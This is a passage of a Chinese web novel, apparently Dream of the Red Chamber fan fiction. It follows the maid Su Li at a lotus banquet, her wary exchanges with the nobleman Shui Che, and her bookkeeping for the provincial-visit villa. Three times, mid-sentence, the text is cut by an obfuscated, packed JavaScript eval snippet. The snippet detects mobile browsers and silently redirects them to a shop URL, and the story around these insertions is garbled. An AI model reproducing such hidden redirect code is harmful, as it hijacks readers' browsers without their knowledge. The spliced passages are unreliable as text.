只是，这般抬举，对苏璃而言，是福是祸？明日宴上，薛姨妈、宝钗会如何看她？那些暗地里嫉恨她的人，又会作何想？这看似风光的露面，只怕会将那沉默的少女，推向更盛的烛火之下，接受更复杂的审视。 窗外，夏虫唧唧。 宝玉忽然很想知道，明日荷花宴上，那个能冷静剖析府中利弊、引得风浪频起的丫头，在面对满园钗环、宾客盈门时，又会是何等模样？而她那双清冽的眼睛里，看到的，是满池亭亭净植的荷花，还是这繁华盛景之下，更深、更沉的淤泥？ 他隐隐觉得，明日之宴，恐不会只是赏荷那么简单了。而这府内的人言，随着苏璃的再次亮相，只怕又要掀起新的波澜。 29. 初见 次日，大观园内果然热闹起来。 因是老太太设宴，又是夏日赏荷的好时节，园中各处早早洒扫洁净，甬路两旁摆满了新摘的时鲜花卉，水亭上挂起了湘妃竹帘，既通风又遮阳。 几个伶俐的小厮驾着小船在荷塘里穿梭，采摘最新鲜的莲蓬和荷叶备用。空气中弥漫着水汽、花香和隐隐的瓜果清甜…… 宝玉一早便被袭人打扮齐整，一件藕荷色纱衫，束着五彩丝攒花结长穗宫绦，面若中秋之月，色如春晓之花，早早便到了贾母上房请安伺候。贾母见他来了，欢喜不尽，拉着手摩挲，又问黛玉今日可好些，宝玉忙答：“妹妹今日气色好些，说稍后便来。” 正说着，丫鬟们报：“姨太太、宝姑娘、林姑娘、三姑娘、四姑娘来了！”只见薛姨妈带着宝钗、黛玉、探春、惜春等姊妹们进来，满屋子顿时珠围翠绕，笑语喧阗。 宝钗穿着蜜合色棉袄，玫瑰紫二色金银鼠比肩褂，葱黄绫棉裙，一色半新不旧，看去不觉奢华，只觉淡雅宜人。黛玉则是一件月白绣梅花锦缎袄，系着淡青撒花裙，越发显得弱不胜衣，我见犹怜。探春爽利，惜春沉静，各有风姿。 贾母正与薛姨妈说笑，忽听外面传话：“东府珍大爷、珍大奶奶带着小蓉大爷来了！”接着又是一声：“北静王府长史官前来回话，说我们王爷今日身上不大爽快，恐劳老太太挂心，特遣世子殿下与府上澈四爷过府代为致意，稍后便到。” 众人听了，都肃然起敬。北静王府与贾府是世交，地位尊崇，今日虽王爷未至，但世子亲临，已是极大的体面。贾母忙道：“快请！”一面吩咐凤姐：“好生预备着，不可怠慢了贵客。”凤姐连忙应下，又低声对平儿嘱咐了几句，平儿点头，匆匆出去安排。 约莫一盏茶的功夫，外面一阵脚步声和笑语声，只见贾珍、尤氏带着贾蓉进来请了安。不多时，帘栊高启，两位锦衣华服的年轻公子在赖大等管家陪同下走了进来。 前面一位，年约十七八岁，身穿石青起花八团倭缎排穗褂，面如冠玉，目似明星，气质温文尔雅，举止从容不迫，正是北静王府世子水溶。 后面跟着一位，年纪稍轻，约莫十六七岁，穿着一身玄色暗纹箭袖锦袍，外罩一件石青色羽纱面狐腋裘褂，身形挺拔，眉目清俊异常，只是神色间带着几分疏离冷峻，不如世子那般温和可亲，正是北静王府庶出四公子，水澈。 贾母忙命人看座，水溶与水澈上前，恭恭敬敬地给贾母行了礼，又向薛姨妈、贾珍、尤氏等一一见礼。水溶言谈得体，应对自如，尽显天潢贵胄的气度。水澈则话语不多，只必要时应答几句，声音清冷，目光平静地扫过众人，在掠过宝玉、宝钗、黛玉等姊妹时，略一停留，便即移开，并无丝毫失礼，却也看不出多少热络。 贾母见水溶一表人才，言语温雅，十分喜欢，又问及北静王病情，水溶一一恭敬回答。水澈只在一旁静静听着，偶尔端起茶杯抿一口，姿态优雅，却自成一界，与这满屋子的热闹仿佛隔了一层无形的壁障。 叙话片刻，贾母便命摆宴。宴设在水亭之上，四面通风，荷香阵阵。贾母、薛姨妈、水溶、水澈、贾珍、宝玉等一席，尤氏、凤姐、李纨并众姊妹们另设一席，中间以一道紫檀架子大理石屏风略作隔断，既分了内外，又不至全然隔绝。 凤姐作为当家奶奶，里外照应，指挥丫鬟婆子们布菜斟酒，忙而不乱。平儿跟在她身边，眼观六路，耳听八方。而一些具体的器皿摆放、果碟更替、茶水温控等细务，则由几个得力的大丫鬟分管。 苏璃今日也被安排在亭外廊下的一张小几旁，负责核对登记一应器皿用具的领用与归还，兼管着几样精细茶果的点验，以备随时取用。这是个既不至太过惹眼，又能体现信任和能力的差事。 宴至半酣，亭内笑语不断。水溶与贾母、宝玉相谈甚欢，尤其与宝玉，二人竟似一见如故，从诗词歌赋谈到佛理禅机，颇有惺惺相惜之意。屏风另一侧，亦传来姊妹们的轻声笑语。 唯有水澈，大多时间只是静静听着，偶尔唇角微扬，似笑非笑，目光却似有若无地，几次掠过屏风缝隙，或是亭外廊下那些忙碌的身影。 这时，一个小丫鬟捧着一个小巧的填漆茶盘过来，上面放着一只雨过天青釉的荷叶式小盖钟，走到苏璃面前，低声道：“璃姑娘，平姑娘吩咐，将这钟新沏的老君眉给林姑娘送去，说林姑娘脾胃弱，这茶性温些。” 苏璃正低头核对一本器皿册子，闻言抬起头，接过茶盘，指尖触到那温润的瓷壁，习惯性地先看了一眼茶钟的成色，又轻轻掀开一条缝闻了闻茶香，确认无误，方点头道：“知道了，你去吧。”她声音不高，却清凌凌的，带着一种专注事务时的沉静。 这一抬头，一接盘，一验看，动作流畅自然，并未刻意张扬，却恰好落入了正百无聊赖、目光随意扫视亭外的水澈眼中。 他见那丫鬟年纪甚轻，不过十四五岁模样，穿着一身半新不旧的青缎背心白绫裙子，打扮与寻常大丫鬟无异，但眉目间那股沉静通透的气度，和验看器物时那专注而专业的眼神，却与周遭的丫鬟仆妇截然不同。他心中微微一动，想起手下报来的关于荣国府的零星信息中，似乎提到琏二奶奶身边有个新近得用、擅长理账的丫头，名唤……苏璃？莫非就是此人？ 他不动声色，端起酒杯，目光却似无意般，又向那边扫了一眼。只见那丫鬟已将茶盘交给另一个小丫头送去，自己则复又低头，就着廊下的光亮，快速在册子上记录着什么，侧脸线条清晰，神情专注，仿佛周遭的喧闹都与她无关。 宴席持续了约莫一个时辰，方尽欢而散。贾母年高，有些倦了，由鸳鸯等人扶着回房歇息。薛姨妈、尤氏等也各自散去。水溶、水澈起身告辞，贾珍、宝玉等亲自送出至园门。 众人散去，亭内外顿时忙碌起来，收拾杯盘，撤下席面。苏璃也忙着清点器皿，核对数目，指挥小丫鬟们将一应物品登记归库。正忙碌间，平儿走过来，低声道：“妹妹，方才世子爷身边的小太监过来传话，说世子爷极爱今日席上那款紫檀木嵌螺钿钿的文具匣，想问问是府里匠人所制，还是外头采买？若是方便，可否将匠人姓名或铺子名号告知？你方才登记时，可记得那匣子的来历？” 苏璃略一思索，便答道：“平儿姐姐，我记得那匣子。册上记着，是去年年底，城南‘百巧斋’送来的年礼之一，并非府中所制。具体是哪位师傅的手艺，册上未载，需查问当时经手的管事才知道。” 平儿点头：“原来如此，我这就去回话。你这边收拾得如何了？仔细些，别混了错了。” “姐姐放心，我省得。”苏璃应道。 平儿匆匆去了。苏璃继续埋头核对。过了一会儿，她觉得有些气闷，便对旁边一个小丫头交代了几句，自己信步走到水亭后身一处临水的太湖石旁，这里有一小片竹丛，甚是幽静，可略作喘息。她刚站定，望着水中亭亭的荷花出神，忽听身后传来一个清冷平静的声音： “姑娘可是琏二奶奶跟前掌管账目的苏璃？” 苏璃心中猛地一惊，霍然转身。只见竹影疏落处，立着一人，正是方才宴上那位沉默寡言的北静王府四公子，水澈。他竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908602|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去而复返，独自一人在此处！ 夕阳余晖透过竹叶，在他玄色锦袍上投下斑驳的光影，衬得他面容愈发清俊冷冽。他目光平静地看着她，并无咄咄逼人之态，却带着一种洞察一切的锐利，仿佛能穿透她故作镇定的外表。 苏璃强压下心头狂跳，迅速敛衽衽行礼，垂首道：“奴婢苏璃，见过四爷。不知四爷在此，惊扰了贵驾，奴婢万死。”她心中电转，这位身份尊贵的公子，为何会独自在此？又为何会认得她一个丫鬟？还特意点出“掌管账目”四字？ 水澈并未叫她起身，只淡淡道：“不必惊慌。我随意走走，无意间到此。方才听你与平儿姑娘提及百巧斋的文具匣，条理清晰，记性甚佳。听闻姑娘近日协理贵府账目，颇有章法，连库房积年旧物，亦能妥善处置，变废为宝，可是真的？” 苏璃背脊瞬间沁出一层冷汗。他果然知道！而且知道的如此具体！连“变废为宝”这等相对隐秘的事都一清二楚！这位北静王府的四爷，绝不仅仅是来赴宴的闲散宗室！他是在试探她！ 她深吸一口气，保持着头颅微垂的恭顺姿态，声音尽量平稳：“四爷谬赞了。奴婢人微言轻，不过是奉二奶奶之命，循例办事，略尽绵力，当不得‘章法’二字。库房杂物，亦是奶奶运筹，奴婢不过听令行事，记录在册，不敢居功。” 水澈看着她低垂的眼睫和紧绷的侧脸，嘴角几不可察地微微勾了一下。这丫头，倒是警觉得很，回答得滴水不漏，将所有功劳都推给了王熙凤。 “是么？”他语气依旧平淡，却带着一丝玩味，“可我听闻，贵府近日新立了不少规矩，月例发放、日常用度，皆清晰了不少，底下人也少有怨言。这般手段，可不像仅仅是‘循例办事’。姑娘过谦了。” 苏璃心知遇到劲敌，此人言语如刀，句句指向要害。她不敢抬头，只道：“府中规矩，皆是二奶奶为长久计所定，奴婢只是执行。若有些许成效，亦是奶奶威德所致，上下用命之功，奴婢万万不敢贪天之功。” 一阵微风吹过，竹叶沙沙作响，荷香愈发浓郁。水澈沉默了片刻，忽然换了个话题：“那百巧斋的匠人，我或许可以帮你问问。” 苏璃一怔，不解其意，只得道：“谢四爷关怀。此等小事，不敢劳烦四爷。” “举手之劳。”水澈淡淡道，目光却依旧停留在她身上，仿佛在审视一件有趣的器物，“荣国府……如今打理得颇有新意。姑娘年纪轻轻，便能在此中效力，也是造化。” 这话更是意味深长。苏璃只觉得那目光如有实质，刺得她肌肤生寒。她不敢接话，只深深一福：“四爷若无事吩咐，奴婢还需回去清点器物，先行告退。” 水澈未再阻拦，只轻轻“嗯”了一声。 苏璃如蒙大赦，保持着恭谨的姿态，快步退出了竹丛，直到转过假山，才敢稍稍直起身，后背衣衫已被冷汗浸湿。 她回头望了一眼那幽静的竹丛，心口犹自怦怦直跳。这位北静王府的四爷，为何独独盯上了她？他今日这番看似随意的问话，背后究竟藏着什么目的？ 她定了定神，不敢久留，匆匆向水亭走去。而竹丛深处，水澈望着她消失的方向，眼中掠过一丝极淡的、近乎探究的兴味。 “苏璃……”他低声念了一遍这个名字，嘴角那抹冷冽的弧度加深了些许，“果然……有点意思。”看来，这趟荣国府，来得不虚。这潭看似沉寂的水下，似乎藏着些意想不到的……惊喜。 他整了整衣袖，从容不迫地向着与苏璃相反的另一条小径走去，身影很快消失在暮色渐合的园景之中。 30. 百巧斋 自荷花宴后，苏璃心中便似揣了只兔子，时不时惊跳一下。水澈那清冷的目光、看似随意却句句机锋的问话，如同在她平静的生活湖面投下了一颗石子，涟漪久久不散。 她反复思量，这位北静王府的四爷，为何会对她一个丫鬟如此留意？ 是单纯的好奇，还是别有深意？ 她告诫自己需更加谨言慎行，将更多精力投入到繁琐的账目核对与内务管理中，几乎足不出户。 这日，凤姐吩咐下来，因要赶制几件秋衣，府中库房里一批往年积存的杭绸、湖绉绉，需得仔细清点数目、查验有无霉蛀，好决定是取用还是另行采买。这差事琐碎，却需极细心，平儿便派了苏璃带着两个小丫鬟，去库房料理。 忙了大半日，才将一应绸缎清点查验完毕，登记造册。苏璃揉了揉酸涩的眼，看看时辰尚早，便对两个小丫鬟道：“你们先将册子送回去给平儿姐姐过目，我再去一趟‘百巧斋’。” “百巧斋”是城南一家颇有名气的杂货铺子，针头线脑、笔墨纸砚、乃至些新奇巧物，一应俱全，价格也公道，府里日常些零碎采买，常与它家打交道。苏璃想起前日核对账目时，发现给姑娘们做针线用的顶针、小巧剪刀等物损耗颇快，库存已是不多，需得添补一些。 再者，那日水澈问起紫檀文具匣的匠人，虽然后来平儿已通过别的渠道回了话，但她心中总觉此事未了，想去铺子里顺便探问一句，也算尽了心。她如今身份不同，出府需得回明，但这类小事，与门上管事的妈妈说一声，记录在册，倒也便宜。 两个小丫鬟答应着去了。苏璃略整理了下衣裳，便从西角门出了府，径往城南而去。 时值午后，长街上市声熙攘，车马粼粼。苏璃许久未独自出门，感受着这市井烟火气，连日来的紧绷心绪稍稍松快了些。她步履轻快，不多时便到了“百巧斋”门口。铺面不大，却收拾得干净齐整，货架林立，各色物品琳琅满目。 掌柜的是个五十来岁的精干老者，认得她是荣国府的丫鬟，见其衣着气度不凡，心知是有些体面的，忙笑脸相迎：“姑娘来了，快请进！今日需要些什么？” 苏璃福了一福，道：“掌柜的安好。府里需采买些顶针、小剪刀、并上好的绣花针各两盒。”说着，递上一张早已写好的单子。 掌柜接过，连声应下，吩咐伙计去取货，又让座倒茶。苏璃道了谢，却只站着，目光看似随意地扫过货架，状似无意地问道：“掌柜的，前儿府里宴客，用了贵号去年送来的一只紫檀嵌螺钿钿文具匣，北静王府的世子爷见了甚是喜欢，问起是贵号哪位师傅的手艺？不知可方便告知？” 掌柜的一听“北静王府”四字，神色更恭敬了几分，忙道：“姑娘客气了！能入世子爷的青眼，是小店的福分。那只匣子……若没记错，应是敝号一位姓陈的老师傅的手艺，陈师傅做了一辈子细木活，尤其擅长镶嵌，只是如今年纪大了，眼睛不甚好，已不大接精细活了。姑娘若需要，小店还有几位手艺不错的师傅……” 正说着，伙计已将苏璃要的货物包好送来。苏璃付了银钱，接过包袱，笑道：“有劳掌柜的。我不过白问一句，回去禀明主子便是。”又寒暄两句，便告辞出来。 她心下稍安，总算将此事问明，回去也好交代。提着包袱，她顺着来路往回走，心中盘算着府中诸事，不觉走到一条相对僻静的巷口。正要拐弯，忽见巷子深处一棵老槐树下，立着一人，牵着一匹通体乌黑的骏马，似是正在等候。 此时夕阳西斜，金色的余晖透过枝叶缝隙，斑驳地洒在那人身上。他穿着一身玄色锦袍，未戴冠，只以一根玉簪束发，身姿挺拔，侧脸线条在光影中显得格外清晰冷峻，不是水澈又是谁？ 苏璃心头猛地一跳，下意识便想退开，却已来不及。水澈仿佛有所感应，恰好转过头来，目光精准地落在了她身上。 四目相对，苏璃避无可避，只得硬着头皮，上前几步，敛衽衽行礼，垂首道：“奴婢苏璃，见过四爷。” 水澈看着她，脸上并无多少意外之色，只淡淡颔首：“苏姑娘。”他目光扫过她手中提着的包袱，“出来办事？” “是，”苏璃恭声答道，“奉奶奶之命，采买些针线之物。”她心中惊疑不定，怎会如此之巧，在此处遇上他？是偶遇，还是……他有意在此？ 水澈“嗯”了一声，并未追问，却将目光投向巷子另一端，语气平淡无波：“方才看见你从百巧斋出来。” 苏璃心中更是一紧，他竟看见了！ 她稳住心神，答道：“是。奴婢顺道去问问前日四爷问起的那只文具匣的匠人。掌柜的说，是铺里一位姓陈的老师傅所做，只是如今已不大接活了。” “有劳姑娘费心。”水澈语气依旧平淡，听不出喜怒。他顿了顿，忽然话锋一转，目光重新落在苏璃脸上，那目光锐利，仿佛能穿透人心，“荣国府近日，月例发放清晰，各房用度也似乎更有章法了。只是，我听闻，各房主子额外支取，如今也需列明用途，核准方可？” 苏璃指尖微微蜷缩，他竟连这等细务都知晓！她谨慎答道：“回四爷的话，府中旧例如此，奴婢不过是依例记录，不敢擅专。” “是么？”水澈嘴角勾起一抹极淡的、近乎嘲讽的弧度，“依例？只怕这‘例’，也是新立的吧。堵住下面人的手容易，堵住上面人的口，却难。尤其……是府里的爷们。” 他这话，竟是直接点破了贾琏琏支取银钱被卡之事！苏璃背脊发凉，强自镇定道：“四爷明鉴，一切皆是奉二奶奶之命行事。奴婢人微言轻，只知道按规矩办事。” 水澈看着她紧绷的侧脸和低垂的眼睫，忽然轻笑一声，那笑声清冷，带着一丝洞察：“规矩是死的，人是活的。你这般‘按规矩办事’，看似公允，却也断了府中爷们在外应酬、结交人情的许多便利。短期看，是省了银子，长了规矩；长远看，只怕会埋下隐患。凤奶奶管家不易，需在‘省俭’与‘体面’之间拿捏分寸。你这把刀，若是用得太过刚直，不留余地，恐会先伤了她自己。” 这番话，如同冰水浇头，让苏璃瞬间清醒！她一直以为自己的策略是在帮王熙凤开源节流，稳固权力，却从未从“爷们体面”、“人情往来”这个角度深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一种奇异的、混合着警惕、震撼乃至一丝……钦佩的情绪，在她心中滋生。她第一次觉得，自己那些来自现代的见识，在这个深不可测的年轻宗室面前，竟显得有些稚嫩和片面。 “四爷……为何与奴婢说这些？”她终于问出了心中的疑惑。 水澈深深看了她一眼，那目光复杂难辨，有探究，有审视，或许还有一丝极淡的……兴趣？ “或许，”他淡淡道，“只是觉得，你这丫头，有点意思。不想看你走错了路，折得太快。”说罢，他不再多言，牵马转身，玄色的身影很快消失在巷子尽头的暮色里。 苏璃独自站在原地，手中包袱沉甸甸的，心中更是波涛汹涌。夕阳的余晖将她身影拉得老长。水澈的话，如同在她封闭的世界里打开了一扇窗，让她看到了更广阔、也更复杂的天地。欣赏？或许有。但更多的，是一种前所未有的警醒和……动力。 她抬头望向荣国府高耸的院墙，第一次如此清晰地意识到，她面对的，不仅仅是府内的明枪暗箭，还有府外这些洞察一切、冷眼旁观的眼睛。而水澈，无疑是其中最锐利的一双。 苏璃握紧了手中的包袱，眸中闪过一丝坚定与决然。 31. 省亲别墅筹建 自那日在巷口一别，水澈那番冷冽又鞭辟入里的话语，便如同烙印般刻在了苏璃心上。 她反复咀嚼着“堵住上面人的口，却难”、“刚直易折”、“真正开源”这些字眼，心中原有的那点因账目清晰、用度节省而生出的自得，被彻底打碎。她开始用更审慎、也更复杂的眼光，重新审视自己在荣国府的处境与作为。 她不再仅仅满足于将账目理清，将月例按时发放，而是开始有意识地将水澈提到的“人情”、“体面”等因素，融入到日常的细微决策中。 比如，对各房主子偶尔超支的用度申请，若数额不大、理由尚可，她便不再像初时那般强硬驳回，而是记录在案后，寻个由头在平儿或凤姐面前略提一句，将最终裁决权交还，自己只做忠实的记录者和温和的建议者。 对贾琏处支取银钱，她更是加倍小心，但凡有据可查、名目正当的，一律迅速办理，绝不拖延，甚至偶尔还会“提醒”平儿或凤姐，某笔应酬关乎府外体面，宜早做预备。 这般行事，看似退让，实则是以退为进，既全了各方颜面，减少了直接冲突，又将矛盾的焦点从自己身上移开，凸显了凤姐的最终权威。 凤姐冷眼瞧着，见她越发沉稳练达，懂得审时度势，心中那份因王夫人敲打而生的疑虑渐渐消散，待她愈发倚重。府中关于她“持宠而骄”、“刻薄刁钻”的流言，也因她这般“通情达理”而悄然平息了不少。 然而，就在苏璃以为可以稍作喘息，着手悄悄调研府中那些亏损铺面的情况，思量水澈所说的“真正开源”时，一场更大的风波，已伴随着浩荡皇恩，悄然降临。 这日傍晚，苏璃刚核对完一批采买单子，正准备回房，忽见林之孝家的急匆匆走来，脸上带着难以抑制的兴奋与紧张，见到她便道：“璃姑娘，快！二奶奶让你立刻过去，有天大的喜事！” 苏璃心中一动，忙跟着来到凤姐正房。只见屋内灯火通明，凤姐竟少有的未曾卸妆，穿着见客的大衣裳，在屋里来回踱步，脸上又是喜，又是忧，眉宇间却透着一股前所未有的亢奋。平儿在一旁也是神色凝重，手里捏着一封泥金大红帖束。 见苏璃进来，凤姐停下脚步，目光灼灼地看向她，声音因激动而略显急促：“你来了！好，好！正是用人之际！宫里传出天大的恩典，皇上体贴万人之心，竟准许宫里嫔妃才人回家省亲！咱们家大姑娘，晋封了凤藻宫尚书，加封贤德妃，不日便要归家省亲了！” 苏璃脑中“嗡”的一声，虽早有心理准备，但亲耳听到这消息，仍觉震撼。省亲！大观园！这标志着贾府“鲜花着锦、烈火烹油”之盛、却也埋下衰败隐患的巨大工程，终于要开始了！ “这……这真是天大的喜事！恭喜奶奶！贺喜奶奶！”苏璃连忙敛衽道喜。 “喜是喜，可这担子……”凤姐深吸一口气，指着平儿手中的帖束，“旨意已下，咱们府里要即刻筹建省亲别院！这是光宗耀祖、体察天恩的头等大事，半点马虎不得！银子像水似的花出去且不说，这工程筹划、物料采买、人工调度、一应布置……千头万绪，稍有差池，便是天大的不是！” 她说着，目光紧紧盯住苏璃：“如今府里情况，你比我清楚。外面看着轰轰烈烈，内里却是个空架子。这般大事，银子从哪里来？东西从哪里采办？人工如何调度才能不误工期？这些，都要立刻拿出个章程来！老太太、太太们只要体面风光，这千斤重担，可就落在你我肩上了！” 苏璃心知这是考验，更是机遇。 省亲别墅的筹建，涉及银钱物料浩繁，正是她施展所能、进一步巩固地位的绝佳时机，但同时也是巨大的陷阱，一步踏错，便是万劫不复。 她沉吟片刻，谨慎开口道：“奶奶，此乃皇恩浩荡，府中头等大事，自然要竭尽全力，办得风光体面。银子一项，公中现存恐怕不足，或可先从金陵老宅那边紧急调拨一些，再动用部分奶奶的体己，或……或与几家相熟的银号暂借些头寸，以应燃眉之急。 待日后庄子上钱粮上来，再行归还。物料采买，需得派极妥当的人，分头办理，木石、砖瓦、油漆、绸缎、器玩，皆需顶尖货色，价格却要多方比较，防止奸商抬价。人工调度更是要紧，需得请几位老成的管家共同监理，划分地段，责任到人，日夜赶工，方可不误懿旨。” 凤姐边听边点头，眼中闪过激赏：“不错！与我想的大体不差！只是这银钱支取、物料核价、人工记录，账目必须一清二楚，不能有半分糊涂！如今府里人口杂，眼睛多，稍有含糊，便生事端。这总理账目、核对单据的重任，非同小可，平儿要帮我应付外面人情往来，内里这一摊子，我便交给你了！” 苏璃心头一凛，知道这已是将核心的财权交托。她肃容道：“蒙奶奶信重，奴婢定当竭尽全力，每一笔支出，必记录在案，每一张单据，必核对清楚，绝不敢有负奶奶所托！” “好！”凤姐一拍炕几，“明日我便回明老太太、太太，设立总理省亲别墅筹建事宜的账房，由你总核所有银钱出入、物料账目！林之孝、吴新登、来旺等人分头采买办事，所有支取，必经你手核对画押，方可生效！” 命令一下，整个荣国府如同被投入滚油的冷水，瞬间沸腾起来。 次日，消息传开，合府上下，无人不欢欣踊跃，个个面上皆有得意之状。宁国府那边也得了信儿，贾珍、尤氏并贾蓉，都过来商议，两府并作一处，轰轰烈烈地操办起来。 贾赦、贾政等人只顾着与清客相公们商议选址、画图样、题匾额等风光雅事。具体的银钱、采买、人工等俗务，自然全落在了“最能干”的凤姐身上。凤姐更是抖擞精神，事事躬亲，不辞劳苦。 苏璃则带着几个识文断字、手脚干净的小丫头，在靠近仪门的一间宽敞厢房里设立了临时账房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908604|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过几日，各种支取银两的条子、各色物料的报价单、工匠人夫的工钱册子，便如雪片般飞来。她每日埋首于堆积如山的账册单据之中，拨算盘珠子拨得手腕酸麻，核对数目核得眼花缭乱。 她严格遵循着水澈那日无意中点醒的“规矩”，对所有经手账目，无论巨细，皆登记造册，条款分明。 采买上报价，她必暗中派人去市面询价对比；工匠工钱，亦按市价公允核定；就连每日的伙食开销、茶水点心，也一笔笔记得清楚。她深知，这省亲别墅就是个无底洞，不知多少双眼睛盯着这块肥肉，稍有不慎，便会被人抓住把柄。 这日，贾蔷、贾菖两个来支取南下采买戏子、乐器、行头的银子，数目不小。苏璃仔细核对了单子，见所列物品、价格大致符合行情，便按例请凤姐画了押，如数支给。两人拿了银子，欢天喜地去了。 不多时，贾琏又拿着单子来支取采买古董文玩的款项。苏璃接过单子，见上面列着几样前朝字画、古玩玉器，价格高昂。她心中存疑，这类物品价值浮动极大，最易做手脚，便谨慎问道：“二爷，这几样东西，不知是托哪家古玩铺子经办？可有大概的估价单子？” 贾琏琏近日因省亲之事，在外应酬极多，手头颇紧，见苏璃询问，脸上便有些挂不住，冷笑道：“怎么？如今我花家里的银子，倒要向你一个丫头报备明细了？这是老太太、太太点了头，要装点体面的东西！耽误了事，你担待得起吗？” 苏璃心中不惧，面上却依旧恭谨：“二爷息怒。并非奴婢多事，只是如今所有省亲开销，皆需登记在案，以备查核。若能有铺家的估价单子，账目上也更清楚些，免得日后有人说闲话。这也是二奶奶再三交代的规矩。” 她抬出凤姐和“规矩”，贾琏琏一时语塞，又见苏璃神色平静，并无刁难之意，只得悻悻道：“是‘博古轩’的老掌柜经手，估价单子我回头让人送来！”说罢，夺过单子，气冲冲走了。 平儿在一旁看在眼里，悄悄对苏璃道：“你如今越发谨慎了。这般应对，很好。” 苏璃低声道：“姐姐过奖了。非常之时，行非常之事，不得不慎。” 她口中应对着，心中却如明镜一般。这省亲别墅的筹建，才刚开了个头，更大的风波，还在后头。那流水般花出去的银子，那无数经手采买的人，那隐藏在“皇恩浩荡”、“光宗耀祖”背后的巨大利益漩涡，才是真正的考验。而她，已被推到了这漩涡的最中心。 窗外，隐隐传来远处工地奠基动土的号子声和工匠们的喧哗。苏璃埋下头，继续拨动算盘，那清脆的响声，在这片喧嚣的背景音中，显得格外清晰，也格外……孤寂。 她知道，从这一刻起，她已与这座即将拔地而起的、象征着无上荣光也预示着盛极而衰的省亲别墅，紧紧捆绑在了一起。 福兮？祸兮？唯有步步为营，如履薄冰。 32. 巨款流转 省亲别墅的筹建，如同在荣国府这潭看似平静的深水中投下了一块巨石，激起的不仅是荣耀与喧嚣，更是汹涌澎湃的银钱暗流。旨意一下，银子便不再是银子，成了泼天般洒出去的流水。 公中的库银、各房的体己、乃至暗中挪借的官中款项，汇聚成一股看不见的洪流，日夜不息地通过无数双手，流向木石砖瓦、绸缎器玩、以及各色人等的口袋。 苏璃所在的临时账房，成了这股洪流最重要的闸口。每日里，从清晨到深夜，人来人往，络绎不绝。 林之孝支取采买大木梁柱的定金，吴新登来领石料砖瓦的款项，来旺媳妇结算工匠饭食工钱，贾蔷、贾菖南下采买戏班行头的使费，贾琏琏置办古董陈设的开销……一张张盖着管事印章、画着押的支取单子，雪片般飞到苏璃的案头。 她端坐于一张宽大的紫檀木书案后，案上堆满了账册、单据、算盘。几个精心挑选的小丫鬟在一旁帮着磨墨、登记、整理。屋内只闻算盘珠子清脆急促的噼啪声，和笔尖划过纸面的沙沙声。 苏璃神色沉静，目光锐利，每一张单子过来，她必先快速扫过用途、数额、经手人，心中默算是否与近期采买计划、市价行情大致相符，再与手中底账核对印章、笔迹。稍有含糊不清、数目不合规之处，她便搁置一旁，或退回要求说明，或标记存疑，待请示凤姐或平儿后定夺。但凡核准，她便提笔蘸饱朱砂，在单子上清晰画押，登记入册，绝无拖延。 这般严谨到近乎苛刻的流程，起初惹得不少前来支取银钱的管事媳妇、乃至爷们身边的小厮颇为不满。 尤其是贾琏等，为着几笔置办古玩珍器的款子，因苏璃坚持要见铺家估价单或更详细的说明，当面发了几次火，骂她“拿着鸡毛当令箭”、“故意刁难”。 苏璃只垂首静听，待他发作完，方不卑不亢地重申规矩，言明此乃为防错漏、以备上查，并将凤姐的命令抬出。贾琏虽恼，却也知此事关乎贵妃省亲体面，凤姐如今又圣眷正浓、大权在握，不敢十分违拗，只得憋着气回去补办手续。 几次三番下来，众人见这年纪轻轻的丫头油盐不进，铁面无私，且笔笔账目记得清楚明白，纵有怨气，却也抓不到她半分错处，反而若因手续不全被她卡住，耽误了工程进度，自己先要吃挂落。于是渐渐学乖，前来支取时，必先将手续备齐，言语间也客气了许多。连凤姐冷眼瞧着，见她将这般庞杂巨款打理得条不紊，心中也暗自点头，愈发倚重。 这日午后，贾蔷兴冲冲地拿来一张支取单，数额巨大，是用于在苏州采买上等绸缎、绣品及小戏子们的行头。 苏璃接过单子，见上面列着各色织锦、软烟罗、蝉翼纱等名目，数量庞大，价格亦是不菲。她仔细核对着单子与之前议定的采买清单，忽然指着一项“上用内造云锦二十匹”问道：“蔷哥儿，这‘上用内造’的云锦，乃是御用之物，市面上等闲难寻，价格更是昂贵数倍。采买戏装行头，用此等物料，是否过于奢费？且来源是否稳妥？” 贾蔷笑道：“璃姑娘放心，这是珍大爷特意吩咐的，说贵妃省亲，场面非同小可，戏台之上的用度，必要极尽精巧，方显天家气派。这批料子，是托了南边极有门路的皇商经办，断不会有差池。” 苏璃沉吟不语。她记得之前商议时，并未明确指定要用御用级别的料子。贾珍一味追求奢华体面，她是知道的，但此举是否逾制？且这笔开销远超预算。 她提笔在单子上备注了“用料逾常例，价超预算三成，请奶奶示下”字样，然后对贾蔷道：“蔷哥儿，此单数额巨大，且用料非凡，需得回明二奶奶方可支取。你稍坐片刻，我这就去禀报。” 贾蔷脸上笑容微僵，但知苏璃规矩如此，也无可奈何。 